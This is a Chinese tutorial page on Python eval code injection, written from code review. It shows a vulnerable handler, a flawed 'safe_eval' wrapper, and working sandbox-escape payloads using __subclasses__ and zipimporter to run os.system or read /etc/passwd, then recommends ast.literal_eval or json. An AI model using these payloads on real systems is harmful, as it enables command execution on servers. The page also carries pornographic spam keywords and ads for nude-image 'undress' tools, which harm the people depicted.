国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

首頁 后端開發(fā) Python教程 Python eval的常見錯(cuò)誤封裝及利用原理的介紹

Python eval的常見錯(cuò)誤封裝及利用原理的介紹

Mar 25, 2019 am 10:12 AM
python

本篇文章給大家?guī)淼膬?nèi)容是關(guān)于Python eval的常見錯(cuò)誤封裝及利用原理的介紹,有一定的參考價(jià)值,有需要的朋友可以參考一下,希望對(duì)你有所幫助。

最近在代碼評(píng)審的過程,發(fā)現(xiàn)挺多錯(cuò)誤使用eval導(dǎo)致代碼注入的問題,比較典型的就是把eval當(dāng)解析dict使用,有的就是簡(jiǎn)單的使用eval,有的就是錯(cuò)誤的封裝了eval,供全產(chǎn)品使用,這引出的問題更嚴(yán)重,這些都是血淋淋的教訓(xùn),大家使用的時(shí)候多加注意。

下面列舉一個(gè)實(shí)際產(chǎn)品中的例子,詳情見[bug83055][1]:

def remove(request, obj):
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)

而query就是POST直接轉(zhuǎn)換而來,是用戶可直接控制的,假如用戶在url參數(shù)中輸入 oper_type=__import__('os').system('sleep 5') 則可以執(zhí)行命令sleep,當(dāng)然也可以執(zhí)行任意系統(tǒng)命令或者任意可執(zhí)行代碼,危害是顯而易見的,那我們來看看eval到底是做什么的,以及如何做才安全?

1,做什么

簡(jiǎn)單來說就是執(zhí)行一段表達(dá)式

>>> eval('2+2')
4
>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}
>>> eval("__import__('os').system('uname')", {})
Linux
0

從這三段代碼來看,第一個(gè)很明顯做計(jì)算用,第二個(gè)把string類型數(shù)據(jù)轉(zhuǎn)換成python的數(shù)據(jù)類型,這里是dict,這也是咱們產(chǎn)品中常犯的錯(cuò)誤。第三個(gè)就是壞小子會(huì)這么干,執(zhí)行系統(tǒng)命令。

eval 可接受三個(gè)參數(shù),eval(source[, globals[, locals]]) -> value

globals必須是路徑,locals則必須是鍵值對(duì),默認(rèn)取系統(tǒng)globals和locals

2,不正確的封裝

(1)下面我們來看一段咱們某個(gè)產(chǎn)品代碼中的封裝函數(shù),見[bug][2],或者 網(wǎng)絡(luò)上搜索排名比較高的代碼 ,eg:

def safe_eval(eval_str):
    try:
        #加入命名空間
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''

在這里 __builtins__ 置為空了,所以像 __import__ 這是內(nèi)置變量就沒有了,這個(gè)封裝函數(shù)就安全了嗎?下面我一步步道來:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

列表項(xiàng)

‘UnicodeEncodeError’, ‘UnicodeError’, ‘UnicodeTranslateError’, ‘UnicodeWarning’, ‘UserWarning’, ‘ValueError’, ‘Warning’, ‘ZeroDivisionError’, ‘_’, ‘ debug ‘, ‘ doc ‘, ‘ import ‘, ‘ name ‘, ‘ package ‘, ‘a(chǎn)bs’, ‘a(chǎn)ll’, ‘a(chǎn)ny’, ‘a(chǎn)pply’, ‘basestring’, ‘bin’, ‘bool’, ‘buffer’, ‘bytearray’, ‘bytes’, ‘callable’, ‘chr’, ‘classmethod’, ‘cmp’, ‘coerce’, ‘compile’, ‘complex’, ‘copyright’, ‘credits’, ‘delattr’, ‘dict’, ‘dir’, ‘divmod’, ‘enumerate’, ‘eval’, ‘execfile’, ‘exit’, ‘file’, ‘filter’, ‘float’, ‘format’, ‘frozenset’, ‘getattr’, ‘globals’, ‘hasattr’, ‘hash’, ‘help’, ‘hex’, ‘id’, ‘input’, ‘int’, ‘intern’, ‘isinstance’, ‘issubclass’, ‘iter’, ‘len’, ‘license’, ‘list’, ‘locals’, ‘long’, ‘map’, ‘max’, ‘memoryview’, ‘min’, ‘next’, ‘object’, ‘oct’, ‘open’, ‘ord’, ‘pow’, ‘print’, ‘property’, ‘quit’, ‘range’, ‘raw_input’, ‘reduce’, ‘reload’, ‘repr’, ‘reversed’, ‘round’, ‘set’, ‘setattr’, ‘slice’, ‘sorted’, ‘staticmethod’, ‘str’, ‘sum’, ‘super’, ‘tuple’, ‘type’, ‘unichr’, ‘unicode’, ‘vars’, ‘xrange’, ‘zip’]

從 __builtins__ 可以看到其模塊中有 __import__ ,可以借助用來執(zhí)行os的一些操作。如果置為空,再去執(zhí)行eval函數(shù)呢,結(jié)果如下:

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name &#39;__import__&#39; is not defined

現(xiàn)在就是提示 __import__ 未定義,不能成功執(zhí)行了,看情況是安全了吧?答案當(dāng)然是錯(cuò)的。

比如執(zhí)行如下:

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {&#39;__builtins__&#39;:{}})
Segmentation fault (core dumped)

在這里用戶定義了一段函數(shù),這個(gè)函數(shù)調(diào)用,直接導(dǎo)致段錯(cuò)誤

下面這段代碼則是退出解釋器:

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{&#39;__builtins__&#39;:{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $

初步理解一下整個(gè)過程:

>>> ().__class__.__bases__[0].__subclasses__()
[<type &#39;type&#39;>, <type &#39;weakref&#39;>, <type &#39;weakcallableproxy&#39;>, <type &#39;weakproxy&#39;>, <type &#39;int&#39;>, <type &#39;basestring&#39;>, <type &#39;bytearray&#39;>, <type &#39;list&#39;>, <type &#39;NoneType&#39;>, <type &#39;NotImplementedType&#39;>, <type &#39;traceback&#39;>, <type &#39;super&#39;>, <type &#39;xrange&#39;>, <type &#39;dict&#39;>, <type &#39;set&#39;>, <type &#39;slice&#39;>, <type &#39;staticmethod&#39;>, <type &#39;complex&#39;>, <type &#39;float&#39;>, <type &#39;buffer&#39;>, <type &#39;long&#39;>, <type &#39;frozenset&#39;>, <type &#39;property&#39;>, <type &#39;memoryview&#39;>, <type &#39;tuple&#39;>, <type &#39;enumerate&#39;>, <type &#39;reversed&#39;>, <type &#39;code&#39;>, <type &#39;frame&#39;>, <type &#39;builtin_function_or_method&#39;>, <type &#39;instancemethod&#39;>, <type &#39;function&#39;>, <type &#39;classobj&#39;>, <type &#39;dictproxy&#39;>, <type &#39;generator&#39;>, <type &#39;getset_descriptor&#39;>, <type &#39;wrapper_descriptor&#39;>, <type &#39;instance&#39;>, <type &#39;ellipsis&#39;>, <type &#39;member_descriptor&#39;>, <type &#39;file&#39;>, <type &#39;sys.long_info&#39;>, <type &#39;sys.float_info&#39;>, <type &#39;EncodingMap&#39;>, <type &#39;sys.version_info&#39;>, <type &#39;sys.flags&#39;>, <type &#39;exceptions.BaseException&#39;>, <type &#39;module&#39;>, <type &#39;imp.NullImporter&#39;>, <type &#39;zipimport.zipimporter&#39;>, <type &#39;posix.stat_result&#39;>, <type &#39;posix.statvfs_result&#39;>, <class &#39;warnings.WarningMessage&#39;>, <class &#39;warnings.catch_warnings&#39;>, <class &#39;_weakrefset._IterationGuard&#39;>, <class &#39;_weakrefset.WeakSet&#39;>, <class &#39;_abcoll.Hashable&#39;>, <type &#39;classmethod&#39;>, <class &#39;_abcoll.Iterable&#39;>, <class &#39;_abcoll.Sized&#39;>, <class &#39;_abcoll.Container&#39;>, <class &#39;_abcoll.Callable&#39;>, <class &#39;site._Printer&#39;>, <class &#39;site._Helper&#39;>, <type &#39;_sre.SRE_Pattern&#39;>, <type &#39;_sre.SRE_Match&#39;>, <type &#39;_sre.SRE_Scanner&#39;>, <class &#39;site.Quitter&#39;>, <class &#39;codecs.IncrementalEncoder&#39;>, <class &#39;codecs.IncrementalDecoder&#39;>, <type &#39;Struct&#39;>, <type &#39;cStringIO.StringO&#39;>, <type &#39;cStringIO.StringI&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>]

這句python代碼的意思就是找tuple的class,再找它的基類,也就是object,再通過object找他的子類,具體的子類也如代碼中的輸出一樣。從中可以看到了有file模塊,zipimporter模塊,是不是可以利用下呢?首先從file入手

假如用戶如果構(gòu)造:

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{&#39;__builtins__&#39;:{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

這個(gè)restrictected mode簡(jiǎn)單理解就是python解釋器的沙盒,一些功能被限制了,比如說不能修改系統(tǒng),不能使用一些系統(tǒng)函數(shù),如file,詳情見 Restricted Execution Mode ,那怎么去繞過呢?這時(shí)我們就想到了zipimporter了,假如引入的模塊中引用了os模塊,我們就可以像如下代碼來利用。

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{&#39;__builtins__&#39;:{}})
Linux
0

這就驗(yàn)證了剛才的safe_eval其實(shí)是不安全的。

3,如何正確使用

(1)使用ast.literal_eval

(2)如果僅僅是將字符轉(zhuǎn)為dict,可以使用json格式

本篇文章到這里就已經(jīng)全部結(jié)束了,更多其他精彩內(nèi)容可以關(guān)注PHP中文網(wǎng)的python視頻教程欄目!

以上是Python eval的常見錯(cuò)誤封裝及利用原理的介紹的詳細(xì)內(nèi)容。更多信息請(qǐng)關(guān)注PHP中文網(wǎng)其他相關(guān)文章!

本站聲明
本文內(nèi)容由網(wǎng)友自發(fā)貢獻(xiàn),版權(quán)歸原作者所有,本站不承擔(dān)相應(yīng)法律責(zé)任。如您發(fā)現(xiàn)有涉嫌抄襲侵權(quán)的內(nèi)容,請(qǐng)聯(lián)系admin@php.cn

熱AI工具

Undress AI Tool

Undress AI Tool

免費(fèi)脫衣服圖片

Undresser.AI Undress

Undresser.AI Undress

人工智能驅(qū)動(dòng)的應(yīng)用程序,用于創(chuàng)建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用于從照片中去除衣服的在線人工智能工具。

Clothoff.io

Clothoff.io

AI脫衣機(jī)

Video Face Swap

Video Face Swap

使用我們完全免費(fèi)的人工智能換臉工具輕松在任何視頻中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費(fèi)的代碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

功能強(qiáng)大的PHP集成開發(fā)環(huán)境

Dreamweaver CS6

Dreamweaver CS6

視覺化網(wǎng)頁開發(fā)工具

SublimeText3 Mac版

SublimeText3 Mac版

神級(jí)代碼編輯軟件(SublimeText3)

熱門話題

Laravel 教程
1601
29
PHP教程
1502
276
如何用PHP結(jié)合AI實(shí)現(xiàn)文本糾錯(cuò) PHP語法檢測(cè)與優(yōu)化 如何用PHP結(jié)合AI實(shí)現(xiàn)文本糾錯(cuò) PHP語法檢測(cè)與優(yōu)化 Jul 25, 2025 pm 08:57 PM

要實(shí)現(xiàn)PHP結(jié)合AI進(jìn)行文本糾錯(cuò)與語法優(yōu)化,需按以下步驟操作:1.選擇適合的AI模型或API,如百度、騰訊API或開源NLP庫;2.通過PHP的curl或Guzzle調(diào)用API并處理返回結(jié)果;3.在應(yīng)用中展示糾錯(cuò)信息并允許用戶選擇是否采納;4.使用php-l和PHP_CodeSniffer進(jìn)行語法檢測(cè)與代碼優(yōu)化;5.持續(xù)收集反饋并更新模型或規(guī)則以提升效果。選擇AIAPI時(shí)應(yīng)重點(diǎn)評(píng)估準(zhǔn)確率、響應(yīng)速度、價(jià)格及對(duì)PHP的支持。代碼優(yōu)化應(yīng)遵循PSR規(guī)范、合理使用緩存、避免循環(huán)查詢、定期審查代碼,并借助X

python seaborn關(guān)節(jié)圖示例 python seaborn關(guān)節(jié)圖示例 Jul 26, 2025 am 08:11 AM

使用Seaborn的jointplot可快速可視化兩個(gè)變量間的關(guān)系及各自分布;2.基礎(chǔ)散點(diǎn)圖通過sns.jointplot(data=tips,x="total_bill",y="tip",kind="scatter")實(shí)現(xiàn),中心為散點(diǎn)圖,上下和右側(cè)顯示直方圖;3.添加回歸線和密度信息可用kind="reg",并結(jié)合marginal_kws設(shè)置邊緣圖樣式;4.數(shù)據(jù)量大時(shí)推薦kind="hex",用

python列表到字符串轉(zhuǎn)換示例 python列表到字符串轉(zhuǎn)換示例 Jul 26, 2025 am 08:00 AM

字符串列表可用join()方法合并,如''.join(words)得到"HelloworldfromPython";2.數(shù)字列表需先用map(str,numbers)或[str(x)forxinnumbers]轉(zhuǎn)為字符串后才能join;3.任意類型列表可直接用str()轉(zhuǎn)換為帶括號(hào)和引號(hào)的字符串,適用于調(diào)試;4.自定義格式可用生成器表達(dá)式結(jié)合join()實(shí)現(xiàn),如'|'.join(f"[{item}]"foriteminitems)輸出"[a]|[

Python連接到SQL Server PYODBC示例 Python連接到SQL Server PYODBC示例 Jul 30, 2025 am 02:53 AM

安裝pyodbc:使用pipinstallpyodbc命令安裝庫;2.連接SQLServer:通過pyodbc.connect()方法,使用包含DRIVER、SERVER、DATABASE、UID/PWD或Trusted_Connection的連接字符串,分別支持SQL身份驗(yàn)證或Windows身份驗(yàn)證;3.查看已安裝驅(qū)動(dòng):運(yùn)行pyodbc.drivers()并篩選含'SQLServer'的驅(qū)動(dòng)名,確保使用如'ODBCDriver17forSQLServer'等正確驅(qū)動(dòng)名稱;4.連接字符串關(guān)鍵參數(shù)

python pandas融化示例 python pandas融化示例 Jul 27, 2025 am 02:48 AM

pandas.melt()用于將寬格式數(shù)據(jù)轉(zhuǎn)為長(zhǎng)格式,答案是通過指定id_vars保留標(biāo)識(shí)列、value_vars選擇需融化的列、var_name和value_name定義新列名,1.id_vars='Name'表示Name列不變,2.value_vars=['Math','English','Science']指定要融化的列,3.var_name='Subject'設(shè)置原列名的新列名,4.value_name='Score'設(shè)置原值的新列名,最終生成包含Name、Subject和Score三列

優(yōu)化用于內(nèi)存操作的Python 優(yōu)化用于內(nèi)存操作的Python Jul 28, 2025 am 03:22 AM

pythoncanbeoptimizedFormized-formemory-boundoperationsbyreducingOverHeadThroughGenerator,有效dattratsures,andManagingObjectLifetimes.first,useGeneratorSInsteadoFlistSteadoflistSteadoFocessLargedAtasetSoneItematatime,desceedingingLoadeGingloadInterveringerverneDraineNterveingerverneDraineNterveInterveIntMory.second.second.second.second,Choos,Choos

python django形式示例 python django形式示例 Jul 27, 2025 am 02:50 AM

首先定義一個(gè)包含姓名、郵箱和消息字段的ContactForm表單;2.在視圖中通過判斷POST請(qǐng)求處理表單提交,驗(yàn)證通過后獲取cleaned_data并返回響應(yīng),否則渲染空表單;3.在模板中使用{{form.as_p}}渲染字段并添加{%csrf_token%}防止CSRF攻擊;4.配置URL路由將/contact/指向contact_view視圖;使用ModelForm可直接關(guān)聯(lián)模型實(shí)現(xiàn)數(shù)據(jù)保存,DjangoForms實(shí)現(xiàn)了數(shù)據(jù)驗(yàn)證、HTML渲染與錯(cuò)誤提示的一體化處理,適合快速開發(fā)安全的表單功

什么是加密貨幣中的統(tǒng)計(jì)套利?統(tǒng)計(jì)套利是如何運(yùn)作的? 什么是加密貨幣中的統(tǒng)計(jì)套利?統(tǒng)計(jì)套利是如何運(yùn)作的? Jul 30, 2025 pm 09:12 PM

統(tǒng)計(jì)套利簡(jiǎn)介統(tǒng)計(jì)套利是一種基于數(shù)學(xué)模型在金融市場(chǎng)中捕捉價(jià)格錯(cuò)配的交易方式。其核心理念源于均值回歸,即資產(chǎn)價(jià)格在短期內(nèi)可能偏離長(zhǎng)期趨勢(shì),但最終會(huì)回歸其歷史平均水平。交易者利用統(tǒng)計(jì)方法分析資產(chǎn)之間的關(guān)聯(lián)性,尋找那些通常同步變動(dòng)的資產(chǎn)組合。當(dāng)這些資產(chǎn)的價(jià)格關(guān)系出現(xiàn)異常偏離時(shí),便產(chǎn)生套利機(jī)會(huì)。在加密貨幣市場(chǎng),統(tǒng)計(jì)套利尤為盛行,主要得益于市場(chǎng)本身的低效率與劇烈波動(dòng)。與傳統(tǒng)金融市場(chǎng)不同,加密貨幣全天候運(yùn)行,價(jià)格極易受到突發(fā)新聞、社交媒體情緒及技術(shù)升級(jí)的影響。這種持續(xù)的價(jià)格波動(dòng)頻繁制造出定價(jià)偏差,為套利者提供

See all articles